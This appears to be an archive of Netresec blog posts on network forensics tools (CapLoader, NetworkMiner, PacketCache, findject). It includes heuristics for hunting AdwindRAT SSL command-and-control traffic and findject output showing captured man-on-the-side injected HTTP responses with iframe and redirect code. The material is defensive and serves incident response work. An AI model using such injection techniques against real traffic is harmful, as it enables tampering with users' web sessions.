Jasper Bongertz does a great job of explaining why and how to use the iRTT in his blog post “Determining TCP Initial Round Trip Time”, so I will not cover it in any more detail here. However, keep in mind that iRTT can only be calculated this way for TCP sessions. CapLoader therefore falls back on measuring the delta time between the first packet in each direction when it comes to transport protocols like UDP and ICMP.

Exclusive Features Not Available in the Free Trail

The new features mentioned so far are all available in the free 30 day CapLoader trial, which can be downloaded from our CapLoader product page (no registration required). But we’ve also added features that are only available in the commercial/professional edition of CapLoader. One such exclusive feature is the matching of hostnames against the Cisco Umbrella top 1 million domain list. CapLoader already had a feature for matching domain names against the Alexa top 1 million list, so the addition of the Umbrella list might seem redundant. But it’s actually not, the two lists are compiled using different data sources and therefore complement each other (see our blog post “Domain Whitelist Benchmark: Alexa vs Umbrella” for more details). Also, the Umbrella list contains subdomains (such as, and while the Alexa list only contains main domains (like “”). CapLoader can therefore do more fine-granular domain matching with the Umbrella list (requiring a full match of the Umbrella domain), while the Alexa list enables a more rough “catch ‘em all” approach (allowing * to be matched).

CapLoader Hosts tab with ASN, Alexa and Umbrella details

CapLoader 1.6 also comes with an ASN lookup feature, which presents the autonomous system number (ASN) and organization name for IPv4 and IPv6 addresses in a PCAP file (see image above). The ASN lookup is built using the GeoLite database created by MaxMind. The information gained from the MaxMind ASN database is also used to provide intelligent display filter CIDR suggestions in the context menu that pops up when right-clicking a flow, service or host.

CapLoader Flows tab with context menu for Apply as Display Filter
Image: Context menu suggests Display Filter BPF “net” based on the server IP in the right-clicked flow.

Users who have previously purchased a license for CapLoader can download a free update to version 1.6 from our customer portal.

Credits and T-shirts

We’d like to thank Christian Reusch for suggesting the Initial RTT feature and Daan from the Dutch Ministry of Defence for suggesting the ASN lookup feature. We’d also like to thank David Billa, Ran Tohar Braun and Stephen Bell for discovering and reporting bugs in CapLoader which now have been fixed. These three guys have received a “PCAP or it didn’t happen” t-shirt as promised in our Bug Bounty Program.

Got a t-shirt for crashing CapLoader

If you too wanna express your view of outlandish cyber attack claims without evidence, then please feel free to send us your bug reports and get rewarded with a “PCAP or it didn’t happen” t-shirt!

Posted by Erik Hjelmvik on Monday, 09 October 2017 08:12:00 (UTC/GMT)

Tags: #CapLoader #free #IPv6 #BPF #CIDR #PCAP #Umbrella #Alexa

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Hunting AdwindRAT with SSL Heuristics

An increasing number of malware families employ SSL/TLS encryption in order to evade detection by Network Intrusion Detection Systems (NIDS). In this blog post I’m gonna have a look at Adwind, which is a cross-platform Remote Access Trojan (RAT) that has been using SSL to conceal it’s traffic for several years. AdwindRAT typically connects SSL sessions to seemingly random TCP ports on the C2 servers. Hence, a heuristic that could potentially be used to hunt for Adwind RAT malware is to look for SSL traffic going to TCP ports that normally don’t use SSL. However, relying on ONLY that heuristic would generate way too many false positives.

Brad Duncan did an interesting writeup about Adwind RAT back in 2015, where he wrote:

I saw the same certificate information used last week, and it continues this week.
  • commonName = assylias
  • organizationName = assylias.Inc
  • countryName = FR
Currently, this may be the best way to identify Adwind-based post-infection traffic. Look for SSL traffic on a non-standard TCP port using that particular certificate.

Unfortunately, Adwind RAT has evolved to use other CN’s in their new certificates, so looking for “assylias.Inc” will not cut it anymore. However, looking for SSL traffic on non-standard TCP ports still holds on the latest Adwind RAT samples that we’ve analyzed.

The PT Research Attack Detection Team (ADT) sent an email with IDS signatures for detecting AdwindRAT to the Emerging-Sigs mailing list a few days ago, where they wrote:

“We offer one of the ways to detect malicious AdwindRAT software inside the encrypted traffic. Recently, the detection of this malicious program in network traffic is significantly reduced due to encryption. As a result of the research, a stable structure of data fragments was created.”

Not only is it awesome that they were able to detect static patterns in the encrypted data, they also provided 25 PCAP files containing AdwindRAT traffic. I loaded these PCAP files into NetworkMiner Professional in order to have a look at the X.509 certificates. NetworkMiner Professional supports Port-Independent Protocol Identification (PIPI), which means that it will automatically identify the C2 sessions as SSL, regardless of which port that is used. It will also automatically extract the X.509 certificates along with any other parameters that can be extracted from the SSL handshake before the session goes encrypted.

X.509 certificates extracted from AdwindRAT PCAP by NetworkMiner Image: Files extracted from ADT’s PCAP files that mach “Oracle” and “cer”.

In this recent campaign the attackers used X.509 certificates claiming to be from Oracle. The majory of the extracted certificates were exactly 1237 bytes long, so maybe they’re all identical? This is what the first extracted X.509 certificate looks like:

Self-signed Oracle America, Inc. X.509 certificate

The cert claims to be valid for a whopping 100 years!

Self-signed Oracle America, Inc. X.509 certificate

Self-signed, not trusted.

However, after opening a few of the other certificates it's clear that each C2 server is using a unique X.509 certificate. This can be quickly confirmed by opening the parameters tab in NetworkMiner Pro and showing only the Certificate Hash or Subject Key Identifier values.

NetworkMiner Parameters tab showing Certificate Hash values Image: Certificate Hash values found in Adwind RAT’s SSL traffic

I also noted that the CN of the certificates isn’t constant either; these samples use CN’s such as “Oracle America”, “Oracle Tanzania”, “Oracle Arusha Inc.”, “Oracle Leonardo” and “Oracle Heaven”.

The CN field is normally used to specify which domain(s) the certificate is valid for, together with any additinoal Subject Alternative Name field. However, Adwind RAT’s certificates don’t contain any domain name in the CN field and they don’t have an Alternative Name record. This might very well change in future versions of this piece of malware though, but I don’t expect the malware authors to generate a certificate with a CN matching the domain name used by each C2 server. I can therefore use this assumption in order to better hunt for Adwind RAT traffic.

But how do I know what public domain name the C2 server has? One solution is to use passive DNS, i.e. to capture all DNS traffic in order to do passive lookups locally. Another solution is to leverage the fact that the Adwind RAT clients use the Server Name Indication (SNI) when connecting to the C2 servers.

TLS Server Name (aka SNI) and Subject CN values don’t match for AdwindRAT Image: TLS Server Name (aka SNI) and Subject CN values don’t match for AdwindRAT

TLS Server Name (SNI) with matching Subject CN from Google Image: TLS Server Name (SNI) with matching Subject CN from Google.

My conclusion is therefore that Brad’s recommendations from 2015 are still pretty okay, even for the latest wave of Adwind RAT traffic. However, instead of looking for a fix CN string I’d prefer to use the following heuristics to hunt for this type of C2 traffic:

  • SSL traffic to non-standard SSL port
  • Self signed X.509 certificate
  • The SNI domain name in the Client Hello message does not match the CN or Subject Alternative Name of the certificate.

These heuristics will match more than just Adwind RAT traffic though. You’ll find that the exact same heuristics will also help identify other pieces of SSL-enabled malware as well as Tor traffic.

Posted by Erik Hjelmvik on Monday, 04 September 2017 19:01:00 (UTC/GMT)

Tags: #NetworkMiner #SSL #TLS #port #PCAP #PIPI #X.509 #certificate #extract

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

NetworkMiner 2.2 Released

NetworkMiner 2.2 = Harder Better Faster Stronger

NetworkMiner 2.2 is faster, better and stronger than ever before! The PCAP parsing speed has more than doubled and even more details are now extracted from analyzed packet capture files.

The improved parsing speed of NetworkMiner 2.2 can be enjoyed regardless if NetworkMiner is run in Windows or Linux, additionally the user interface is more responsive and flickers way less when capture files are being loaded.

User Interface Improvements

The keyword filter available in the Files, Messages, Sessions, DNS and Parameters tabs has been improved so that the rows now can be filtered on a single column of choice by selecting the desired column in a drop-down list. There is also an “Any column” option, which can be used to search for the keyword in all columns.

Keyword drop-down in NetworkMiner's Parameters tab

The Messages tab has also received an additional feature, which allows the filter keyword to be matched against the text in the message body as well as email headers when the “Any column” option is selected. This allows for an efficient analysis of messages (such as emails sent/received through SMTP, POP3 and IMAP as well as IRC messages and some HTTP based messaging platforms), since the messages can be filtered just like in a normal e-mail client.

We have also given up on using local timestamp formats; timestamps are now instead shown using the yyyy-MM-dd HH:mm:ss format with time zone explicitly stated.

Protocol Parsers

NetworkMiner 2.2 comes with a parser for the Remote Desktop Protocol (RDP), which rides on top of COTP and TPKT. The RDP parser is primarily used in order to extract usernames from RDP cookies and show them on the Credentials tab. This new version also comes with better extraction of SMB1 and SMB2 details, such as NTLM SSP usernames.

RDP Cookies extracted with NetworkMiner 2.2

One big change that has been made behind the scenes of NetworkMiner is the move from .NET Framework 2.0 to version 4.0. This move doesn’t require any special measures to be taken for most Microsoft Windows users since the 4.0 Framework is typically already installed on these machines. If you’re running NetworkMiner in Linux, however, you might wanna check out our updated blog post on how to install NetworkMiner in Linux.

We have also added an automatic check for new versions of NetworkMiner, which runs every time the tool is started. This update check can be disabled by adding a --noupdatecheck switch to the command line when starting NetworkMiner.

NetworkMiner.exe --noupdatecheck capturefile.pcap

NetworkMiner Professional

Even though NetworkMiner 2.2 now uses ISO-like time representations NetworkMiner still has to decide which time zone to use for the timestamps. The default decision has always been to use the same time zone as the local machine, but NetworkMiner Professional now additionally comes with an option that allows the user to select whether to use UTC (as nature intended), the local time zone or some other custom time zone for displaying timestamps. The time zone setting can be found in the “Tools > Settings” menu.

UPDATE: With the release of NetworkMiner 2.3 the default time zone is now UTC unless the user has specifically selected a different time zone.

The Port-Independent-Protocol-Detection (PIPI) feature in NetworkMiner Pro has been improved for more reliable identification of HTTP, SSH, SOCKS, FTP and SSL sessions running on non-standard port numbers.


We are happy to announce that the professional edition of NetworkMiner 2.2 now has support for exporting extracted details using the Cyber-investigation Analysis Standard Expression (CASE) format, which is a JSON-LD format for digital forensics data. The CASE export is also available in the command line tool NetworkMinerCLI.

We would like to thank Europol for recommending us to implement the CASE export format in their effort to adopt CASE as a standard digital forensic format. Several other companies in the digital forensics field are currently looking into implementing CASE in their tools, including AccessData, Cellebrite, Guidance, Volatility and XRY. We believe the CASE format will become a popular format for exchanging digital forensic data between tools for digital forensics, log correlation and SIEM solutions.

We will, however, still continue supporting and maintaining the CSV and XML export formats in NetworkMiner Professional and NetworkMinerCLI alongside the new CASE format.


I would like to thank Sebastian Gebhard and Clinton Page for reporting bugs in the Credentials tab and TFTP parsing code that now have been fixed. I would also like to thank Jeff Carrell for providing a capture file that has been used to debug an issue in NetworkMiner’s OpenFlow parser. There are also a couple of users who have suggested new features that have made it into this release of NetworkMiner. Marc Lindike suggested the powerful deep search of extracted messages and Niclas Hirschfeld proposed a new option in the PCAP-over-IP functionality that allows NetworkMiner to receive PCAP data via a remote netcat listener.

Upgrading to Version 2.2

Users who have purchased a license for NetworkMiner Professional 2.x can download a free update to version 2.2 from our customer portal.

Those who instead prefer to use the free and open source version can grab the latest version of NetworkMiner from the official NetworkMiner page.

Posted by Erik Hjelmvik on Tuesday, 22 August 2017 11:37:00 (UTC/GMT)

Tags: #pcap #CASE #PIPI #HTTP #SOCKS #SSL #port #forensics

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

CapLoader 1.5 Released

CapLoader 1.5 Logo

We are today happy to announce the release of CapLoader 1.5. This new version of CapLoader parses pcap and pcap-ng files even faster than before and comes with new features, such as a built-in TCP stream reassembly engine, as well as support for Linux and macOS.

Support for ICMP Flows

CapLoader is designed to group packets together that belong to the same bi-directional flow, i.e. all UDP, TCP and SCTP packets with the same 5-tuple (regardless of direction) are considered being part of the same flow.

/fʌɪv ˈtjuːp(ə)l/

A combination of source IP, destination IP, source port, destination port and transport protocol (TCP/UDP/SCTP) used to uniquely identify a flow or layer 4 session in computer networking.

The flow concept in CapLoader 1.5 has been extended to also include ICMP. Since there are no port numbers in the ICMP protocol CapLoader sets the source and destination port of ICMP flows to 0. The addition of ICMP in CapLoader also allows input filters and display filters like “icmp” to be leveraged.

Flows tab in CapLoader 1.5 with display filter BPF 'icmp'
Image: CapLoader 1.5 showing only ICMP flows due to display filter 'icmp'.

TCP Stream Reassembly

One of the foundations for making CapLoader a super fast tool for reading and filtering PCAP files is that it doesn’t attempt to reassemble TCP streams. This means that CapLoader’s Transcript view will show out-of-order segments in the order they were received and retransmitted segments will be displayed twice.

The basic concept has been to let other tools do the TCP reassembly, for example by exporting a PCAP for a flow from CapLoader to Wireshark or NetworkMiner.

The steps required to reassemble a TCP stream to disk with Wireshark are:

  1. Right-click a TCP packet in the TCP session of interest.
  2. Select “Follow > TCP Stream”.
  3. Choose direction in the first drop-down-list (client-to-server or server-to-client).
  4. Change format from “ASCII” to “Raw” in the next drop-down-menu.
  5. Press the “Save as...” button to save the reassembled TCP stream to disk.

Follow TCP Stream window in Wireshark

Unfortunately Wireshark fails to properly reassemble some TCP streams. As an example the current stable release of Wireshark (version 2.2.5) shows duplicate data in “Follow TCP Stream” when there are retransmissions with partially overlapping segments. We have also noticed some additional  bugs related to TCP stream reassembly in other recent releases of Wireshark. However, we’d like to stress that Wireshark does perform a correct reassembly of most TCP streams; it is only in some specific situations that Wireshark produces a broken reassembly. Unfortunately a minor bug like this can cause serious consequences, for example when the TCP stream is analyzed as part of a digital forensics investigation or when the extracted data is being used as input for further processing. We have therefore decided to include a TCP stream reassembly engine in CapLoader 1.5. The steps required to reassemble a TCP stream in CapLoader are:

  1. Double click a TCP flow of interest in the “Flows” tab to open a flow transcript.
  2. Click the “Save Client Byte Stream” or “Save Server Byte Stream” button to save the data stream for the desired direction to disk.

Transcript window in CapLoader 1-5

Extracting TCP streams from PCAP files this way not only ensures that the data stream is correctly reassembled, it is also both faster and simpler than having to pivot through Wireshark’s Follow TCP Stream feature.

PCAP Icon Context Menu

CapLoader 1.5 PCAP icon Save As...

The PCAP icon in CapLoader is designed to allow easy drag-and-drop operations in order to open a set of selected flows in an external packet analysis tool, such as Wireshark or NetworkMiner. Right-clicking this PCAP icon will bring up a context menu, which can be used to open a PCAP with the selected flows in an external tool or copy the PCAP to the clipboard. This context menu has been extended in CapLoader 1.5 to also include a “Save As” option. Previous versions of CapLoader required the user to drag-and-drop from the PCAP icon to a folder in order to save filtered PCAP data to disk.

Faster Parsing with Protocol Identification

CapLoader can identify over 100 different application layer protocols, including HTTP, SSL, SSH, RTP, RTCP and SOCKS, without relying on port numbers. The protocol identification has previously slowed down the analysis quite a bit, which has caused many users to disable this powerful feature. This new release of of CapLoader comes with an improved implementation of the port-independent protocol identification feature, which enables PCAP files to be loaded twice as fast as before with the “Identify protocols” feature enabled.

Works in Linux and macOS

One major improvement in CapLoader 1.5 is that this release is compatible with the Mono framework, which makes CapLoader platform independent. This means that you can now run CapLoader on your Mac or Linux machine if you have Mono installed. Please refer to our previous blog posts about how to run NetworkMiner in various flavors of Linux and macOS to find out how to install Mono on your computer. You will, however, notice a performance hit when running CapLoader under Mono instead of using Windows since the Mono framework isn't yet as fast as Microsoft's .NET Framework.

CapLoader 1.5 running in Linux with Mono
Image: CapLoader 1.5 running in Linux (Xubuntu).


We’d like to thank Sooraj for reporting a bug in the “Open With” context menu of CapLoader’s PCAP icon. This bug has been fixed in CapLoader 1.5 and Sooraj has been awarded an official “PCAP or it didn’t happen” t-shirt for reporting the bug.

PCAP or it didn't happen t-shirt
Image: PCAP or it didn't happen t-shirt

Have a look at our Bug Bounty Program if you also wanna get a PCAP t-shirt!

Downloading CapLoader 1.5

Everything mentioned in this blog post, except for the protocol identification feature, is available in our free trial version of CapLoader. To try it out, simply grab a copy here: (no registration needed)

All paying customers with an older version of CapLoader can download a free update to version 1.5 from our customer portal.

Posted by Erik Hjelmvik on Tuesday, 07 March 2017 09:11:00 (UTC/GMT)

Tags: #CapLoader #PCAP #pcap-ng #Follow TCP Stream #Wireshark #Linux #Mac #RTP #SOCKS #Mono #Flow

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Enable file extraction from PCAP with NetworkMiner in six steps

NetworkMiner can reassemble files transferred over protocols such as HTTP, FTP, TFTP, SMB, SMB2, SMTP, POP3 and IMAP simply by reading a PCAP file. NetworkMiner stores the extracted files in a directory called “AssembledFiles” inside of the NetworkMiner directory.

NetworkMiner 2.1.1 with Files tab open.
Files extracted by NetworkMiner from the DFRWS 2008 challenge file suspect.pcap

NetworkMiner is a portable tool that is delivered as a zip file. The tool doesn’t require any installation, you simply just extract the zip file to your PC. We don’t provide any official guidance regarding where to place NetworkMiner, users are free to place it wherever they find it most fitting. Some put the tool on the Desktop or in “My Documents” while others prefer to put it in “C:\Program Files”. However, please note that normal users usually don’t have write permissions to sub-directories of %programfiles%, which will prevent NetworkMiner from performing file reassembly.

Unfortunately, previous versions of NetworkMiner didn’t alert the user when it failed to write to the AssembledFiles directory. This means that the tool would silently fail to extract any files from a PCAP file. This behavior has been changed with the release of NetworkMiner 2.1. Now the user gets a windows titled “Insufficient Write Permissions” with a text like this:

User is unauthorized to access the following file:
C:\Program Files\NetworkMiner_2-1-1\AssembledFiles\cache\FILENAME

File(s) will not be extracted!

Follow these steps to set adequate write permissions to the AssembledFiles directory in Windows:

  1. Open the Properties window for the AssembledFiles directory
  2. Open the “Security” tab
  3. Press “Edit” to change permissions
  4. Select the user who will be running NetworkMiner
  5. Check the “Allow”checkbox for Write permissions
  6. Press the OK button

Press Edit to change permissions for AssembledFiles folder

If you are running NetworkMiner under macOS (OS X) or Linux, then please make sure to follow our installation instructions, which include this command:

sudo chmod -R go+w AssembledFiles/

Once you have set up the appropriate write permissions you should be able to start NeworkMiner and open a PCAP file in order to have the tool automatically extract files from the captured network traffic.

Posted by Erik Hjelmvik on Friday, 03 March 2017 09:44:00 (UTC/GMT)

Tags: #NetworkMiner #PCAP #NSM

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

NetworkMiner 2.1 Released

NetworkMiner 2.1 Logo

We are releasing a new version of NetworkMiner today. The latest and greatest version of NetworkMiner is now 2.1.

Yay! /throws confetti in the air

Better Email Parsing

I have spent some time during 2016 talking to digital forensics experts at various law enforcement agencies. I learned that from time to time criminals still fail to use encryption when reading their email. This new release of NetworkMiner therefore comes with parsers for POP3 and IMAP as well as an improved SMTP parser. These are the de facto protocols used for sending and receiving emails, and have been so since way back in the 90’s.

Messages tab in NetworkMiner 2.1 showing extracted emails
Messages tab in NetworkMiner 2.1 showing extracted emails

Not only does NetworkMiner show the contents of emails within the tool, it also extracts all attachments to disk and even saves each email as an .eml file that can be opened in an external email reader in order to view it as the suspect would.

Extracted email Get_free_s.eml opened in Mozilla Thunderbird
Extracted email ”Get_free_s.eml” opened in Mozilla Thunderbird

Encapsulation Protocols

There are several protocols that can be used to provide logical separation of network traffic, in order to avoid using multiple physical networks to keep various network segments, security domains or users apart. Some of these techniques for logical separation rely on tagging or labeling, while others are tunneling the encapsulated traffic. Nevertheless, it’s all pretty much the same thing; an encapsulation protocol is used in order to wrap protocol X inside protocol Y, usually while adding some metadata in the process.

NetworkMiner has been able to parse the classic encapsulation protocols 802.1Q, GRE and PPPoE since 2011, but we now see an increased use of protocols that provide logical separation for virtualization and cloud computing environments. We have therefore added parsers in NetworkMiner 2.1 for VXLAN and OpenFlow, which are the two most widely used protocols for logical separation of traffic in virtualized environments. We have also added decapsulation of MPLS and EoMPLS (Ethernet-over-MPLS) to NetworkMiner 2.1.

Encapsulation examples for MPLS GRE and VXLAN

The new release additionally comes with support for the SOCKS protocol, which is an old school encapsulation protocol used by administrators as well as hackers in order to bypass firewalls or provide anonymous Internet access. The SOCKS parser in NetworkMiner can even be used to read network traffic from Tor in cleartext before it enters the Tor network. However, in order to capture Tor’s SOCKS traffic you’ll have to sniff traffic from the Tor client’s localhost interface on TCP port 9150.

PacketCache Logo


NetworkMiner 2.1 can read packets directly from a local PacketCache service by clicking ”File > Read from PacketCache”. This eliminates the need to run a PowerShell script in order to dump a PCAP file with packets recently captured by PacketCache.

HTTP Partial Content / Range Requests

Byte serving is a feature in HTTP that makes it possible to retrieve only a segment of a file, rather than the complete file, by using the “Range” HTTP header. This feature is often used by BITS in order to download updates for Windows. But we have also seen malware use byte serving, for example malware droppers that attempt to download malicious payloads in a stealthy manner. See Ursnif and Dridex for examples of malware that utilize this technique.

NetworkMiner has previously only reassembled the individual segments of a partial content download. But as of version 2.1 NetworkMiner has the ability to piece together the respective parts into a complete file.

SSL/TLS and X.509 Certificates

NetworkMiner has been able to extract X.509 certificates to disk for many years now, simply by opening a PCAP file with SSL traffic. However, in the 2.1 release we’ve added support for parsing out the SSL details also from FTP’s “AUTH TLS” (a.k.a explicit TLS or explicit SSL) and STARTTLS in SMTP.

NetworkMiner now also extracts details from the SSL handshake and X.509 certificate to the Parameters tab, such as the requested SNI hostname and the Subject CN from the certificate.

SSL and certificate information extracted by NetworkMiner from PCAP
SSL handshake details and certificate info passively extracted from captured HTTPS session to

NetworkMiner Professional

The new features mentioned so far are all part of the free open source version of NetworkMiner. But we have also added a few additional features to the Professional edition of NetworkMiner as part of the 2.1 release.

The “Browsers” tab of NetworkMiner Professional has been extended with a feature for tracking online ads and web trackers. We are using EasyList and EasyPrivacy from in order to provide an up-to-date tracking of ads and trackers. HTTP requests related to ads are colored red, while web tracker requests are blue. These colors also apply to the Files tab and can be modified in the Settings menu (Tools > Settings).

NetworkMiner Professional 2.1 showing Advertisments (red) and Trackers (blue)
NetworkMiner Professional 2.1 showing advertisments (red) and Internet trackers (blue).

The reason why NetworkMiner Pro now tracks ads and trackers is because these types of requests can make up almost half of the HTTP requests that a normal user makes while surfing the web today. Doing forensics on network traffic from a suspect criminal can be a very time consuming task, we therefore hope that being able to differentiate between what traffic that is initiated by the user rather than being triggered by an online advertisement service or internet tracker can save time for investigators.

The RIPE database previously contained a bug that prevented NetworkMiner Professional from properly leveraging netname info from RIPE. This bug has now been fixed, so that the Host Details can be enriched with details from RIPE for IP addresses in Europe. To enable the RIPE database you’ll first have to download the raw data by clicking Tools > Download RIPE DB.

Host Details with RIPE netname Host Details enriched with RIPE description and netname

We have also extended the exported details about the hosts in the CSV and XML files from NetworkMiner Professional and the command line tool NetworkMinerCLI. The exported information now contains details such as IP Time-to-Live and open ports.

Upgrading to version 2.1

Users who have purchased a license for NetworkMiner Professional 2.0 can download a free update to version 2.1 from our customer portal.

Those who instead prefer to use the free and open source version can grab the latest version of NetworkMiner from the official NetworkMiner page.


There are several persons I would like to thank for contributing with feature requests and bug reports that have been used to improve NetworkMiner. I would like to thank Dietrich Hasselhorn, Christian Reusch, Jasper Bongertz, Eddi Blenkers and Daniel Spiekermann for their feedback that have helped improve the SMB, SMB2 and HTTP parsers as well as implementing various encapsulation protocols. I would also like to thank several investigators at the Swedish, German and Dutch police as well as EUROPOL for the valuable feedback provided by them.

Posted by Erik Hjelmvik on Wednesday, 11 January 2017 14:30:00 (UTC/GMT)

Tags: #NetworkMiner #SMTP #IMAP #X.509 #PCAP

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Reading cached packets with Wireshark

Would you like to sniff packets that were sent/received some minutes, hours or even days ago in Wireshark? Can't afford to buy a time machine? Then your best chance is to install PacketCache, which allows you to read OLD packets with Wireshark. Wireshark reading from PacketCache

We recently released a free tool for keeping a cache of recently sent/received network traffic in Windows. The tool, called PacketCache, is actually a Windows service that saves a copy of recent packets in RAM. The cached packets can be read simply by connecting to a named pipe called “PacketCache”, for example by using a PowerShell script as shown on the PacketCache page.

After talking to some Wireshark core developers at SharkFest Europe last week we managed to get Wireshark to read packets from PacketCache's named pipe stream. However, you will need to use Wireshark 2.3 or later to properly read from a named pipe. Unfortunately version 2.3 isn't scheduled for release until next summer (2017), so until then you'll have to use one of the automated builds instead. I usually go for the latest WiresharkPortable build, since it doesn't require installation. You can download the portable version of Wireshark 2.3 here:

Look for a file called “WiresharkPortable_2.3.[something].paf.exe”.

Follow these steps in order to read packets captured by PacketCache:

  1. Make sure you have Wireshark 2.3.0 (or later)
  2. Start Wireshark with admin rights (right-click > “Run as administrator”)
  3. Run Wireshark as administrator
  4. Press: Capture > Options
  5. Click “Manage Interfaces...”
  6. Select the “Pipes” tab
  7. Press the “+” button to add a named pipe
  8. Name the pipe “\\.\pipe\PacketCache” and press ENTER to save it
  9. PacketCache pipe interface added in Wireshark
  10. Press “OK” in the Manage Interface window.
  11. Wireshark with a PacketCache pipe interface
  12. Press “Start” to read the packets from PacketCache

Wireshark reading from PacketCache

The status field in Wireshark will say “Live capture in progress”, which is somewhat true. Wireshark will be updating the GUI live as packets are read from PacketCache, but the packets displayed can be several hours or even days old depending on when they were captured by PacketCache. The “live” capture will stop once all packets have been read from the PacketCache.

Posted by Erik Hjelmvik on Friday, 28 October 2016 14:50:00 (UTC/GMT)

Tags: #Netresec #PCAP #PacketCache #Wireshark #SharkFest

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Detect TCP content injection attacks with findject

findject logo

NSA's QUANTUM INSERT attack is probably the most well-known TCP packet injection attack due to the Snowden revelations regarding how GCHQ used this method to hack into Belgacom. However, the “Five Eyes” are not the only ones who perform this type of attack on the Internet. We now release a tool to help incident responders to find these types of packet injection attacks.

Photo by Jasper Bongertz at SharkFest EU 2016

I had the opportunity to attend and present at SharkFest Europe last week. My presentation, titled “Dissecting Man-on-the-Side Attacks”, showed how TCP packet injection attacks can be analyzed if they have been recorded in a packet capture. In my talk I used a python script called “”, which reads PCAP files to find TCP packets with duplicate sequence numbers but different content. This script has previously only been shared with vetted parties, but as of my SharkFest presentation findject is now freely available for everyone.

Findject is not the first tool made available to detect TCP content injection attacks. Other detection methods include Suricata's reassembly_overlap_different_data alert, Fox-IT's Bro policy to check for inconsistencies in the first packet with payload, David Stainton's HoneyBadger and Martin Bruse's qisniff. Even though these are all great solutions we found that some of them didn't detect all TCP content injection attacks while others gave too many false positives. We also wanted to have a tool that was fast, portable and simple to use. This led us to create our own TCP injection detection tool.

python /nsm/pcap/live/*
opening /nsm/pcap/live/ppp0.150922_192034.pcap - no injections
opening /nsm/pcap/live/ppp0.150923_081337.pcap
'HTTP/1.1 403 Forbidden\r\nServer: Beaver\r\nCache-Control: no-cache\r\nContent-Type: text/html\r\nContent-Length: 594\r\nConnection: close\r\n\r\n<html>\n<head>\n<meta http-equiv="Content-Type" content="textml;charset=UTF-8" />\n <style>body{background-color:#FFFFFF}</style> \n<title>TestPage</title>\n <script language="javascript" type="text/javascript">\n window.onload = function () { \n document.getElementById("mainFrame").src= ""; \n }\n</script> \n</head>\n <body>\n <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe>\n </body>\n </html>\n\n'
'HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: 87\r\nConnection: close\r\n\r\n<html><head><meta http-equiv="refresh" content="0; url=\'\'"></head></html>'

opening /nsm/pcap/live/ppp0.150923_115034.pcap - no injections
opening /nsm/pcap/live/ppp0.150924_071617.pcap - no injections

In the example execution above we can see that detected an injected TCP packet in the file ppp0.150923_081337.pcap, while the other analyzed files contained no injections. The application layer data of the two conflicting TCP segments are printed to standard output with a header indicating whether the segment was the FIRST or LAST one. To find out which segment is the real one and which was the injected one we need to open the PCAP file in either Wireshark, tshark or CapLoader.

tshark -r /nsm/pcap/live/ppp0.150923_083317.pcap -Y "ip.src eq and tcp.port eq 59320" -T fields -e frame.number -e ip.src -e ip.dst -e tcp.seq -e tcp.len -e -e ip.ttl -o "tcp.relative_sequence_numbers: false"
14 402877219 0   0x00002e36 94
25 402877220 726 0x00000d05 70
27 402877220 726 0x00000d05 69
28 402877220 170 0x00002e3e 94

The tshark execution above reveals that three packets sent from the web server's IP ( are carrying data and have the same sequence number (402877220). Packet 25 and 27 are actually identical, while packet 28 is smaller (170 bytes) and has a different payload. The first displayed frame in the tshark output above is the SYN+ACK packet from the TCP 3-way handshake.

So how can we determine which of packets 25, 27 and 28 are real verses injected? Look at the IP-ID and IP-TTL values! Frame 28 has IP-ID and TTL values in line with what we see in the TCP 3-way handshake (TTL=94, IP-ID=0x00002e3e), which implies that this packet is probably authentic. Frames 25 and 27 on the other hand deviate from what we would expect from the server, which tells us that these packets were likely injected (spoofed) into the TCP session through a “man-on-the-side” attack.

findject logo

To learn more about and download the tool, please visit:

Example captures containing TCP content injection attacks can be found on our Publicly Available PCAP Files page under the “Packet Injection Attacks / Man-on-the-Side Attacks” section.

You can also read our blog posts Covert Man-on-the-Side Attacks and Packet Injection Attacks in the Wild to learn more about TCP packet injection attacks.

Posted by Erik Hjelmvik on Tuesday, 25 October 2016 08:45:00 (UTC/GMT)

Tags: #Netresec #PCAP #packet injection #find #python #SharkFest

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

PacketCache lets you Go Back in Time

PacketCache logo

Have you ever wanted to go back in time to get a PCAP of something strange that just happened on a PC?
I sure have, many times, which is why we are now releasing a new tool called PacketCache. PacketCache maintains a hive of the most important and recent packets, so that they can be retrieved later on, if there is a need.

Network forensics and incident response is performed post-event, but requires that packet have already been captured during the event to be analyzed. Starting a network sniffer after a suspected intrusion might provide useful insight on what the intruders are up to, but it is much better to be able to go back in time to observe how they gained access to the network and what they did prior to being detected. Many companies and organizations combat this problem by setting up one or several solutions for centralized network packet capturing. These sniffers are typically installed at choke-points on the network, such as in-line with a firewall. However, this prevents the sniffers from capturing network traffic going between hosts on the same local network. Intruders can therefore often perform lateral movement on a compromised network without risk getting their steps captured by a packet sniffer.

Logo for Back to the Future series logo - public domain

USB broadband modem - Copyright Prolineserver 2010 (cc-by-sa-3.0) We're now trying to improve the situation for the defenders by releasing PacketCache, which is a free (Creative Commons licensed) Windows service that is designed to continuously monitor the network interfaces of a computer and store the captured packets in memory (RAM). PacketCache monitors all IPv4 interfaces, not just the one connected to the corporate network. This way traffic will be captured even on public WiFi networks and Internet connections provided through USB broadband modems (3G/4G).

By default PacketCache reserves 1% of a computer's total physical memory for storing packets. A computer with 4 GB of RAM will thereby allow up to 40 MB of packets to be kept in memory. This might not seem like much, but PacketCache relies on a clever technique that allows it to store only the most important packets. With this technique just 40 MB of storage can be enough to store several days worth of “important” packets.

The “clever technique” we refer to is actually a simple way of removing packets from TCP and UDP sessions as they get older. This way recent communication can be retained in full, while older data us truncated at the end (i.e. only the last packets are removed from a session).

PacketCache services in services.msc

To download PacketCache or learn more about this new tool, please visit the official PacketCache page:

PCAP or it didn't happen!

Posted by Erik Hjelmvik on Wednesday, 28 September 2016 11:45:00 (UTC/GMT)

Tags: #PacketCache #PCAP #NSM #forensics #Windows #sniffer #memory #DFIR

